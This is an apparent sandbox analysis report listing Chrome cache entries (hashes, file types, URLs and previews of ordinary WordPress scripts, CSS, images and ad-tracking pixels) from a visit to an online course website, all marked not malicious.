Preview:	.PNG........IHDR.....................IDATx...w.$.}.~t.===9......D&.0."H1(X.A..l.\|,.s\|.}%..{e.Z.D...(.......v.X...3;;9.tO..]....5=....Y`..>.<X.TW..V..}....._.S.,J...E....H...QG.u.QG...B-..m...Q.Q5...,..:.8.n..U6...\|...'.%.......:...^...da....R...,..ny\....=.I4]....O..:..:.o...I..4.M......{....]..?.'..K.3[...&..W.d.R......:.N.WB.%>..A>..!.y.%.}....f...A..f.^.B.......:...d.u.QG.?9.l.d.....,\\.$Wly.E6.K..4... ^....^'].ny.c.....H..O]...b.....:...!`..%.M.....n..s...x..~./../....q...s.O.x~.$.R..L..\|....O..:...<....?.r.i^.9...U...INf....eu`3Y.y.U...W...z.T!..).....:.N..>.%...(?..G..6.7.~..Dx./_\......f....7.{..R..$.3^G.u.QG.[...i.4~.}..:q.T>s./.K.....s.u.QG.u.qml..%..n..\|.p..:..:..6Z.e+X%.M.g..:..:...Y)JQ......X.Ju.QG.u...N.".....8..+.....@.......:....wT..f...s.Y.yc.".k..V..9.!...G4.....QP...UG.u.Q..$.@...QO"....l..d!....s...\|t.C..>.blm...U.f..j._z.{..L.....QG.u.Q..7 ..?...~..Gx...>...(^.;...H..v..nIU..?...u.[d....s.u.QG.?9.,..{..it.ym

Chrome Cache Entry: 899

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.914866303883101
Encrypted:	false
SSDEEP:	3:8WiCLViemVh:8WiIUemf
MD5:	EAE5EE6C7E3134A287AA23FCD63D64F0
SHA1:	3B17DC8EB29B01BD80C12C7D64159D0434EDFDAC
SHA-256:	745A085B52B8371EC6705413FCA70A28C6D8BFF0DB480E6B124BD08C54E95EF8
SHA-512:	3A534A5E4557ACC431634EBA78950183078C2F78816C6E156679F3A8753C4C6514353111E6CE3F52C91219D036351D090970E8097CB4D41D65A1EC39D0E450EF
Malicious:	false
Reputation:	low
Preview:	apstag.punt({"cb":"0"})

Chrome Cache Entry: 900

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://u.openx.net/w/1.0/sd?gdpr=&gdpr_consent=&id=559546607&val=OPUc07649b3c185472a86453f2ba9a61d55
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 901

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5477)
Category:	downloaded
Size (bytes):	5629
Entropy (8bit):	5.064978927674849
Encrypted:	false
SSDEEP:	96:PwRxr6JAXgWWwrrSTrmM4KvlGC89QPjRxq2uVBXeHRGKrc4oPUGPgNhd+qLoBV7J:Pwjrycrr3rKvE9IjRxjGjgNhdTLo3re+
MD5:	3A56752B736635BF69CB069B8818CBFD
SHA1:	42E0951FE74BB3F56A30F51291823BCD4A84D76E
SHA-256:	FF4BD34AA98A0214833619D3D751838DB015722DFBBEC15CD14DADC66CD67869
SHA-512:	A255D61DE4E6CEC2084AAE0F027CCC0259039AEF62268A27072C8097D348D76BB725CA35563386CEB068387C9AD3AB0E331BD270BA754A38A2A2D33944F305F5
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/imagesloaded.min.js
Preview:	/! This file is auto-generated /./!. imagesLoaded PACKAGED v4.1.4. * JavaScript is all like "You images are done yet or what?". * MIT License. */..!function(e,t){"function"==typeof define&&define.amd?define("ev-emitter/ev-emitter",t):"object"==typeof module&&module.exports?module.exports=t():e.EvEmitter=t()}("undefined"!=typeof window?window:this,function(){function e(){}var t=e.prototype;return t.on=function(e,t){if(e&&t){var i=this._events=this._events\|\|{},n=i[e]=i[e]\|\|[];return n.indexOf(t)==-1&&n.push(t),this}},t.once=function(e,t){if(e&&t){this.on(e,t);var i=this._onceEvents=this._onceEvents\|\|{},n=i[e]=i[e]\|\|{};return n[t]=!0,this}},t.off=function(e,t){var i=this._events&&this._events[e];if(i&&i.length){var n=i.indexOf(t);return n!=-1&&i.splice(n,1),this}},t.emitEvent=function(e,t){var i=this._events&&this._events[e];if(i&&i.length){i=i.slice(0),t=t\|\|[];for(var n=this._onceEvents&&this._onceEvents[e],o=0;o<i.length;o++){var r=i[o],s=n&&n[r];s&&(this.off(e,r),delete n[r]),r.ap

Chrome Cache Entry: 902

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive?partner_id=3355&partner_device_id=LUVR2A3B-N-5ZEP
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 903

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (754), with no line terminators
Category:	downloaded
Size (bytes):	754
Entropy (8bit):	4.996986043161646
Encrypted:	false
SSDEEP:	12:oYNKO3eK7NKOdfdPIIIx0DsV6VKkvtVaChEzWbkfAsGg8KU8KOGCrGRg5HiL00Rm:owzOKRzdfdPIIIx6VKHWEibkfVwSvprF
MD5:	AFB55C29BDBCFC262D9FA56743572CAD
SHA1:	D4B6CB9DF2B1B5477CD968FB05CF5FAA1D13D6BF
SHA-256:	C30DAB20B677F2B13F42A4A04385A3C6D380FA023A4A1C32F45F2996E152BFBA
SHA-512:	458D91D1274AF1448E950803384DA02C7896521EF7DC47AC7735A8A37226B5292EBA33DEF05F72F3AD435E2ECF2AFDF5D79A6B7B91D145A2DE3074B0C80997D3
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/wpforms/assets/js/integrations/elementor/frontend.min.js
Preview:	"use strict";var WPFormsElementorFrontend=window.WPFormsElementorFrontend\|\|function(o,r){var t={init:function(){t.events()},events:function(){r(o).on("elementor/popup/show",function(e,o,n){o=r("#elementor-popup-modal-"+o).find(".wpforms-form");o.length&&t.initFields(o)})},initFields:function(e){wpforms.ready(),"undefined"!=typeof wpformsModernFileUpload&&wpformsModernFileUpload.init(),"undefined"!=typeof wpformsRecaptchaLoad&&("recaptcha"===wpformsElementorVars.captcha_provider&&"v3"===wpformsElementorVars.recaptcha_type?"undefined"!=typeof grecaptcha&&grecaptcha.ready(wpformsRecaptchaLoad):wpformsRecaptchaLoad()),r(o).trigger("wpforms_elementor_form_fields_initialized",[e])}};return t}(document,(window,jQuery));WPFormsElementorFrontend.init();

Chrome Cache Entry: 904

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1660), with no line terminators
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.507128427013404
Encrypted:	false
SSDEEP:	24:pwA9zAG/aCcgtj0nf9zAG/D9sYqRUuQGbVEZGbSQGbn1:p19AGyBgtA9AGQRUuQGhKGWQGD1
MD5:	6B994EF0C7E6F72D2EFC4A365BCCA050
SHA1:	B732B390323A2628A0E5E979464E77EFFAADCD89
SHA-256:	76F62E84FD316E5707B83B012285587BF8183A3767C860587F845E053A150E16
SHA-512:	FEA456A89C70817C634FE96034C48F1B3A680F743225BA9B33A7342109704532C824C83E9A97ADF7291FF7DD6E3E93B069B18DD764515307C69DF6AE57F8E353
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/elementor/css/post-32613.css
Preview:	.elementor-32613 .elementor-element.elementor-element-ad0131f > .elementor-container > .elementor-row{align-items:stretch;}.elementor-32613 .elementor-element.elementor-element-4c3bc8c > .elementor-element-populated{margin:0px 0px 0px 0px;--e-column-margin-right:0px;--e-column-margin-left:0px;}.elementor-32613 .elementor-element.elementor-element-4c3bc8c > .elementor-element-populated.elementor-element-populated{padding:0px 0px 0px 0px;}.elementor-32613 .elementor-element.elementor-element-4a73692{text-align:left;}.elementor-32613 .elementor-element.elementor-element-4a73692 .tutor-course-details-title{color:#161616;}.elementor-32613 .elementor-element.elementor-element-f05b131 > .elementor-container > .elementor-row{align-items:stretch;}.elementor-32613 .elementor-element.elementor-element-326ac6b .tutor-course-sidebar-card-pricing{display:block !important;text-align:left;}.elementor-32613 .elementor-element.elementor-element-326ac6b .tutor-course-sidebar-card-pricing span{color:#2123

Chrome Cache Entry: 905

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	582
Entropy (8bit):	4.589893553784942
Encrypted:	false
SSDEEP:	12:tr29rOX5Xo0iMnw8RauZkuNdO9ZDYRhdmJ:tUrOXJLnwBfuHOvYk
MD5:	B64D83C167C6728E0AA3254323F9CA83
SHA1:	6556B5500C1D73A36F17B63C5D953C4527DE8F6E
SHA-256:	198F5067B1BEF43C386D5B3F0AF5AF79AC6DDFB9C78A8283ED6036E02BA1CEFC
SHA-512:	7C8DD9B62A9FD1AAE2A5BB1330135FC3B15D81C54E86D0CBA3BBEC3D268923E7C0537E8CA743B6DE1831FC5FF7186B3E2F8B048015832B5C7317E81E7CED69AD
Malicious:	false
Reputation:	low
Preview:	<svg width="91px" height="12px" viewBox="0 0 91 12" version="1.1" xmlns="http://www.w3.org/2000/svg">. <path fill="#FFC221" d="M0.980197061,9.09306521 C25.5681791,0.00152988657 55.1427929,-2.26697742 89.6953818,2.26269565 C90.5167807,2.37037698 91.0953632,3.12354536 90.9876819,3.9449443 C90.8800005,4.76634325 90.1268321,5.3449257 89.3054332,5.23724437 C55.2055398,0.76691744 26.1134869,2.99841013 2.02061792,11.9068748 C1.24360585,12.1941791 0.380806977,11.7971925 0.0935026912,11.0201804 C-0.193801595,10.2431684 0.203184997,9.3803695 0.980197061,9.09306521 Z"></path>.</svg>.

Chrome Cache Entry: 906

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 907

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13192)
Category:	downloaded
Size (bytes):	13227
Entropy (8bit):	5.399299125464342
Encrypted:	false
SSDEEP:	384:B2mezNzGLsNrF76bTurOKOrNffYlrgLc2GY7wRtEJG6:QmGHNrV6bSOdrWl1VY7Ws
MD5:	1ED41181A48D1B0C493D6B0B1A819487
SHA1:	870643E452A23115688241B64FD16F71DFBB2173
SHA-256:	2813BC3426AA29713C46D365AD6E8C1B01E3020B7DD44126EC6AACC13E2811A7
SHA-512:	EAA4E54D33DC5AC6BCBD747E6E4B90913D639A1E882F8D962E2BD58A50EB8CC22E01A9EAD9EB8088E14C96D8C7A837DF49558D4A1CD97F595A08E9B94A4BBF6C
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-admin/js/editor.min.js
Preview:	/! This file is auto-generated /.window.wp=window.wp\|\|{},function(l,g){g.editor=g.editor\|\|{},window.switchEditors=new function(){var h,v,t={};function e(){!h&&window.tinymce&&(h=window.tinymce,(v=h.$)(document).on("click",function(e){e=v(e.target);e.hasClass("wp-switch-editor")&&n(e.attr("data-wp-editor-id"),e.hasClass("switch-tmce")?"tmce":"html")}))}function b(e){e=v(".mce-toolbar-grp",e.getContainer())[0],e=e&&e.clientHeight;return e&&10<e&&e<200?parseInt(e,10):30}function n(e,t){t=t\|\|"toggle";var n,r,i,a,o,c,p,s,d,l,g=h.get(e=e\|\|"content"),u=v("#wp-"+e+"-wrap"),w=v("#"+e),f=w[0];if("tmce"===(t="toggle"===t?g&&!g.isHidden()?"html":"tmce":t)\|\|"tinymce"===t){if(g&&!g.isHidden())return!1;void 0!==window.QTags&&window.QTags.closeAllTags(e);var m=parseInt(f.style.height,10)\|\|0;(g?g.getParam("wp_keep_scroll_position"):window.tinyMCEPreInit.mceInit[e]&&window.tinyMCEPreInit.mceInit[e].wp_keep_scroll_position)&&(a=w)&&a.length&&(o=a[0],d=function(e,t){var n=t.cursorStart,r=t.cursorEnd,t=x

Chrome Cache Entry: 908

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5512), with no line terminators
Category:	downloaded
Size (bytes):	5512
Entropy (8bit):	4.982472700889003
Encrypted:	false
SSDEEP:	96:IUVKYantcSy10XIfmAwO5Gy2B6P7metlkkC9489WbuJ1WG:IqAYOE9zq5EbuJ1WG
MD5:	4D25F8332207CE2CF58BE1117FD7A675
SHA1:	10F8B00264F7ED0480CA277F687E398873CBF653
SHA-256:	7824A73895EC128219067E01501D5DA6017C73E71BE9641269ACCA92715E70A6
SHA-512:	996DA766FDC08F7D5891F59E284112B5B415993244B1D08C7CFB2220046BDC401BD40B2B2839D48F2E0D2CF111C0B7E4FC419CBE922B08E61B876477E8ECB568
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/js/headroom.min.js
Preview:	!function(t,o){"use strict";"function"==typeof define&&define.amd?define([],o):"object"==typeof exports?module.exports=o():t.Headroom=o()}(this,function(){"use strict";var t={bind:!!function(){}.bind,classList:"classList"in document.documentElement,rAF:!!(window.requestAnimationFrame\|\|window.webkitRequestAnimationFrame\|\|window.mozRequestAnimationFrame)};function o(t){this.callback=t,this.ticking=!1}function r(t){if(arguments.length<=0)throw new Error("Missing arguments in extend function");for(var o,i,n=t\|\|{},e=1;e<arguments.length;e++){var s=arguments[e]\|\|{};for(o in s)"object"!=typeof n[o]\|\|(i=n[o])&&"undefined"!=typeof window&&(i===window\|\|i.nodeType)?n[o]=n[o]\|\|s[o]:n[o]=r(n[o],s[o])}return n}function i(t,o){o=r(o,i.options),this.lastKnownScrollY=0,this.elem=t,this.tolerance=(t=o.tolerance)===Object(t)?t:{down:t,up:t},this.classes=o.classes,this.offset=o.offset,this.scroller=o.scroller,this.initialised=!1,this.onPin=o.onPin,this.onUnpin=o.onUnpin,this.onTop=o.onTop,this.onNotTop=o.

Chrome Cache Entry: 909

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, progressive, precision 8, 192x192, components 3
Category:	downloaded
Size (bytes):	18034
Entropy (8bit):	7.947918672818696
Encrypted:	false
SSDEEP:	384:x2vNLXJFcoAbpvqMm1bLOOL3tS5f+UZ2F2u37fiZuaIZsAG2VzAm7Pu:QNZFCdqMEnPTtS52UgbJZsf2N6
MD5:	DE86AD9594F97B028A159F6E39BAACAB
SHA1:	A9E229587FCEBB700F1788CEBE9E80F0DE536016
SHA-256:	B0EAA7A70F0B262F959263D8DBB1D8EB0A738620BA9F74D53A91392135FAABDD
SHA-512:	B29E2F6A6129C681A0D51B0ACBBEF8AD479E0D0209A6EB467CFD87726AC2E629E13ED8436248EF3D075848BE5D0DEFC37FABDB545CDDE9C4634183BCAD6F44EB
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/cropped-Earn-And-Excel-Favicon-192x192.jpg
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................".....................................................................................@I......F6.F...........e....9..H..& s.$.$.$......hMS..[4-......".z.../._.\|..>z...+....<v\|U.M..}.... ..3}B....3........YoVWV.......B..pj.......F7x..N5...H.6.D#.z..r...._7.%d...c...f..5/._.\|....R.X;l.lr.\{<z.&.....O,.z!Hm..B^...UQN..y!u.G.W.z...9..^l.Z../.>....2......YN.f./N..\|%..s.>.,S....{!..G..K...UuG... . ...y.;5/._.\|..0.....K}..O\.i>yTK..N..LO.F[.y....I;.c......f.../........`P.-9..1)Y. .G..SbQ._.P...LI..S.G<......V.N..&;k........y.di^.o.>#o...[.f.f..;..}7.gI...3..K....<r.......pb=_/....(...\\|1K.H.O..y.:.........@.s.s.;..... Z&Q/w.u..w'._..5,...~.a3..@.6:@..^..y.&.bUu.H.`.2.c...\.V..%.F.....I}.....<)-..../S..T!.a./Z...wK...........Z...I..OT.8.8...X.."._...x..)-....4.w.[.'...j.I..@.@.

Chrome Cache Entry: 910

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7428), with no line terminators
Category:	downloaded
Size (bytes):	7428
Entropy (8bit):	5.409240115582185
Encrypted:	false
SSDEEP:	192:QRGzDSUQ9vMigsOq/vUEgdPVY+1VKfBly/xN8:QRGzDSp9bqEUEg7fKfBE/xN8
MD5:	C03E20D1FA27C16CB3A66A066F034844
SHA1:	EF9DC469294C541484E5BDD41CF5D8EE5A1DE340
SHA-256:	6838FA6BC77E020C5B4FCB5EEBE44A01712ECB2D02DA338DD40D388CB0F2B92E
SHA-512:	04849DBD7BB2904E8674FB0AD09F88AF8CF71766B5B2B6F6735BBD37B21505A27565D3CDBC5DD7F51EAB4C3C296F8EAE2F24D66C526FFF5F72448F1A7AECCC4D
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/libs/smooth-scroll-for-web/SmoothScroll.min.js
Preview:	!function(){var s,i,c,a,o={frameRate:150,animationTime:400,stepSize:100,pulseAlgorithm:!0,pulseScale:4,pulseNormalize:1,accelerationDelta:50,accelerationMax:3,keyboardSupport:!0,arrowScroll:50,fixedBackground:!0,excluded:""},p=o,u=!1,d=!1,l={x:0,y:0},f=!1,m=document.documentElement,h=[],w=/^Mac/.test(navigator.platform),v={left:37,up:38,right:39,down:40,spacebar:32,pageup:33,pagedown:34,end:35,home:36},y={37:1,38:1,39:1,40:1};function b(){if(!f&&document.body){f=!0;var e=document.body,t=document.documentElement,o=window.innerHeight,n=e.scrollHeight;if(m=0<=document.compatMode.indexOf("CSS")?t:e,s=e,p.keyboardSupport&&Y("keydown",D),top!=self)d=!0;else if(Q&&o<n&&(e.offsetHeight<=o\|\|t.offsetHeight<=o)){var r,a=document.createElement("div");a.style.cssText="position:absolute; z-index:-10000; top:0; left:0; right:0; height:"+m.scrollHeight+"px",document.body.appendChild(a),c=function(){r\|\|(r=setTimeout(function(){u\|\|(a.style.height="0",a.style.height=m.scrollHeight+"px",r=null)},500))},se

Chrome Cache Entry: 911

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 191 x 94, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	7454
Entropy (8bit):	7.9373407104664055
Encrypted:	false
SSDEEP:	96:r7UCdgg4J7AgE/bwYMQP2EzBSNT1aVy0n6gTR9ANWVVvZUAm2ZbND+CabqeC/N19:cC+gXgE/bwYjEuuKVviAPDuq6F2NsW
MD5:	1D208C26B94C29DF5F2F34B63E482EE9
SHA1:	136903561E2A11C0D6DAED55221DD7C11E18B95B
SHA-256:	460BBA75296E49052D93ED7192BD299F368872B019BE28E6624382549835FB81
SHA-512:	23B8407DC801BBF32B3BD416688BE742D9B586B0D66D6C002AAC4C64D547E49CD6A7A46D9EF9D38782C8A6AEC996EA828EC59F9B8DA93B100F89CF17F47FD1DD
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/TATA.png
Preview:	.PNG........IHDR.......^.....r..!....IDATx....Q.....".......`7v...T....].lw.........w..af.s....=o;.(.++......MT__ouuu....ZCC.E...I..{...}[.......=..DN3...Z".).l.a...@......sj..i.f.K .....ke....FJ......iS_UU....._..........r.>}..9b............C.v..Q;~...{..>}........8p.Y..0......`.H.iZ.\|aa..;tm~..i..>.......m...x.b.2e...=...j....^.z....m........:h. .3\|.p..6l.M.4.,Yb.m.c..K.....\B..3...3.....-...v..v.y....#.O.>.o_............0q.D..Ps.<a....6y.d..5j....!C$(\...d...e...}.....'.......N.,..hY.Z....v....{.-Z.H.w.>r.H@...?~..t...6m.4...i...x.q6v.X.3f..1..x......8....z>n.uv..E...G..g....>....6k.,........JkK...jy...2.........<k....0s.L......e.l....3.'j.V.</_..}...B..h.$.h.c\ ...:}h.X..8q..aC(.F.F.._.~5Q......;.L....@iBi{......#A&Z.@.h^i.XV..J..z@....,..u......Z..N..+.{w.....R..3.w.B"x...J=..?>.P....a...].tA............0.@.C..Y .G5..G..=...K...a....s..;..?N..B.R.~.1.=.#.D.N@... .5.@.lKn.c..0.X`..a.B.^.>tk.~.lv^.......:u......._.....:..

Chrome Cache Entry: 912

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 480x304, components 3
Category:	dropped
Size (bytes):	20053
Entropy (8bit):	7.973667598587297
Encrypted:	false
SSDEEP:	384:pSWtjeOlREx32w1HWQrM2l1zm0XCH81ZHuFfcCT2MC15RC5xy:MIlCce6+5m6l1uoMCYzy
MD5:	23F69E72D0197B9B04763471FEE08CA2
SHA1:	99C4ACACB4F1E94DE214A9072BF17548041FC6ED
SHA-256:	01D6829BB994CEC3FA7E002DCBDF8EDFCEABD672A1702800BDA9F55F69E67A0C
SHA-512:	BD7FDF1BDB889EA46FA7CC5768CA5768290363DB9C0B95CA1B5A904ECDFBBEEDCA5409E08B5D2ECF49C35D422916832DDF4B1D5E123EDB55AC956A339F9913C9
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0...."........................................Y...........................!1.AQ.."2RSaq...........#BTVrst..$3456CDEU..7Fbcd..&...'.%..................................<.........................!1Q..AR"2q.#a..3S...4Bbr..$c.................?...E..1...4I..$E."..N\.ur.!....WQ..F.. ...].K....gG.zn....q/.r.X....!..R...........n;.'.......dg+3.1.,.R.bm$Y.....u.f..F..3.V9`.5.UK...._.r.!....X..\5Ln ..+Z..9......F.....!hP(......h...s.M...7.BO.,V..z.o;...T...k...F.l..t..J....q..5.umC..5ss.. .<. .q..N=...I!%...W0......Z...8\|......4e....9.N.PrPY.Z.QH......D.Tv.7.e..M....'.BU..5. ..FT..{V...Ff......Y..a9.6NN(..W....R.p.......o.....Y...N(..A%q.G*iSX5..R...).\|`.....wiuc.Bg...WV?4.X....u.r84m$......3%..C#.z...../.b...~..ST...).Aih.....N.(.d.<.EU..b.Ej.......y#......=.x!..AZfY.n(.l7.f...ed.l.,K...........

Chrome Cache Entry: 913

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	"https://imp-dev.mediavine.com/record?impkey=V1:x2DZcJS0CeeF+l1p:VstQ8vPepWccMl36mJzTw8IXrlbRXCfUhtTYwyv+U2BOQiuPYtJd8v+y+jO7+X9ywaqaFMcK/5IhQRufxss7HIVdUrfnOhn6i8JGFA==&slot=adhesion_desktop&page_url=https://earnandexcel.com/course-category/data-analysis-bi/&site=earn-and-excel&path=/course-category/data-analysis-bi/&secure=1&sessiondepth=3&optout=&categories=hobbies-and-interests&generator=web&bucket=2&referrer_url=DIRECT&utm_source=&utm_campaign=&dow=4&day=11&month=4&hour=21&wrapper_group=3.1.3&wswy=0&sessionId=668614997&page_view_id=160x0z0l040k0a1c131p14190y071718&groupm=1&browser=Chrome&os=Windows&lang=en-US&s2sVersion=production&hb_bidder=gumgum_s2s&hb_adid=221f5b5b1dcbbe&hb_pb=0.49&hb_sdef_set=0.978628354491&hb_bid=0.49&hb_bsbid=0.4869136180371&hb_safeframe=0&hb_s2sBidder=gumgum&hb_liv=4&hb_ub=0.49&hb_size=728x90&hb_pb_gumgum_s2s=0.48&sales_cat=132,596,597,611,602,600,599,626,619&sales_safety=GGT0&sales_kw=excel,onlinedataanalysis,bicourses,earn,onlinedatumanalysiscourse,python,datumanalyst,sql,business,datumanalytictraining,datummining,field,microsoft,mit,modelapplication&sales_segment=GumGumVeritySeasonal-FathersDay,GumGumVeritySeasonalSegment-Backto,GumGumVeritySeasonal-MothersDay&partnerLift=centroE1M0,ebOff&slot_id=adhesion_desktop&hb_count=1&hb_pmp=0&UR=49&URP=138&OE=0&google=1&native=1&slot_number=1&slot=adhesion_desktop&arrival=0&refresh=0&sspm=1&bidFloor=0.23&ccpa=1---&psa=6,12,3&timeout=adhesion_atf_d_2801&gid=0&inview=0&adomain=max.com&grow_state=4&grow_version=7.239.1&dsp_id=56&3pc=1&illr=0&gpp=0-0-0&pps=687&pair_id=0&deprecationLabel=na&parent_adunit_name=earnandexcel&slotName=adhesion&device=desktop&country=US&offeringId=1&adProduct=display&oCpm=0.4883787543"
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 914

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	118
Entropy (8bit):	4.565444987365178
Encrypted:	false
SSDEEP:	3:Y2AOQIgLVccVWtXw7hJOVop2WeHWUsuXCWEGZn:Y2AOQIgL2xtXwXbBeCrWEGZ
MD5:	6FA45007A1C2947D86800C80D1742F15
SHA1:	60708E9045F7650917043F3287D4AE63C87DA3AA
SHA-256:	566E1E1BCE79E7E6D629F3487D126A85A929E7C23589B1300266D7327680FFCD
SHA-512:	8B25665FAAE99EC799722CEDB41A4B7DED79A64B6576844964A6515A66DB3603EA7F52DCDD40310A6A6142BBBCBC14658865CFEDCCB10240A2654907C2BAD3B3
Malicious:	false
Reputation:	low
Preview:	{"SequenceNumber":"49648752392988234712500121741454311395740860435100860898","ShardId":"shardId-000000000030"} Tracked

Chrome Cache Entry: 915

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5046)
Category:	downloaded
Size (bytes):	5164
Entropy (8bit):	5.160013499116696
Encrypted:	false
SSDEEP:	96:3vllJxvYaYpoVGeGQYqMvs5PPm2nrH86++/V9ixhQJsUhRVnKmFRxk5REeS:/bvApkGXQnymPmsHD9ixqsUhznq5REeS
MD5:	29187207D729C080D17500520999A7D0
SHA1:	FFF4FD11E5B2790ACE6769195DCDBB6075461E39
SHA-256:	C7ABDA310BC9E6784D9908B4FFE6759119DF3208ED87CEA0C82E2E5A52F6D354
SHA-512:	5161FA0470FF20CC74D80D932B1D34CE7C04F811EA8B9C8EDCE987E5303A8FA6E0198D8129914B404EA2308F0C79739698776756DE179F2A56AAF2D8E81AF498
Malicious:	false
Reputation:	low
URL:	https://cdn.ampproject.org/rtv/022404020207000/v0/amp-fit-text-0.1.mjs
Preview:	;.(self.AMP=self.AMP\|\|[]).push({m:1,v:"2404020207000",n:"amp-fit-text",ev:"0.1",l:!0,f:function(t,n){(()=>{var n,{isArray:i}=Array,{hasOwnProperty:e,toString:o}=Object.prototype;function r(t){const n=parseFloat(t);return"number"==typeof(i=n)&&isFinite(i)?n:void 0;var i}var s=["Webkit","webkit","Moz","moz","ms","O","o"];function l(t){const n=t.replace(/[A-Z]/g,(t=>"-"+t.toLowerCase()));return s.some((t=>n.startsWith(t+"-")))?`-${n}`:n}function c(t,i,e){if(i.startsWith("--"))return i;n\|\|(n=Object.create(null));let o=n[i];if(!o\|\|e){if(o=i,void 0===t[i]){const n=function(t){return t.charAt(0).toUpperCase()+t.slice(1)}(i),e=function(t,n){for(let i=0;i<s.length;i++){const e=s[i]+n;if(void 0!==t[e])return e}return""}(t,n);void 0!==t[e]&&(o=e)}e\|\|(n[i]=o)}return o}function f(t,n,i,e,o){const r=c(t.style,n,o);if(!r)return;const s=e?i+e:i;t.style.setProperty(l(r),s)}function 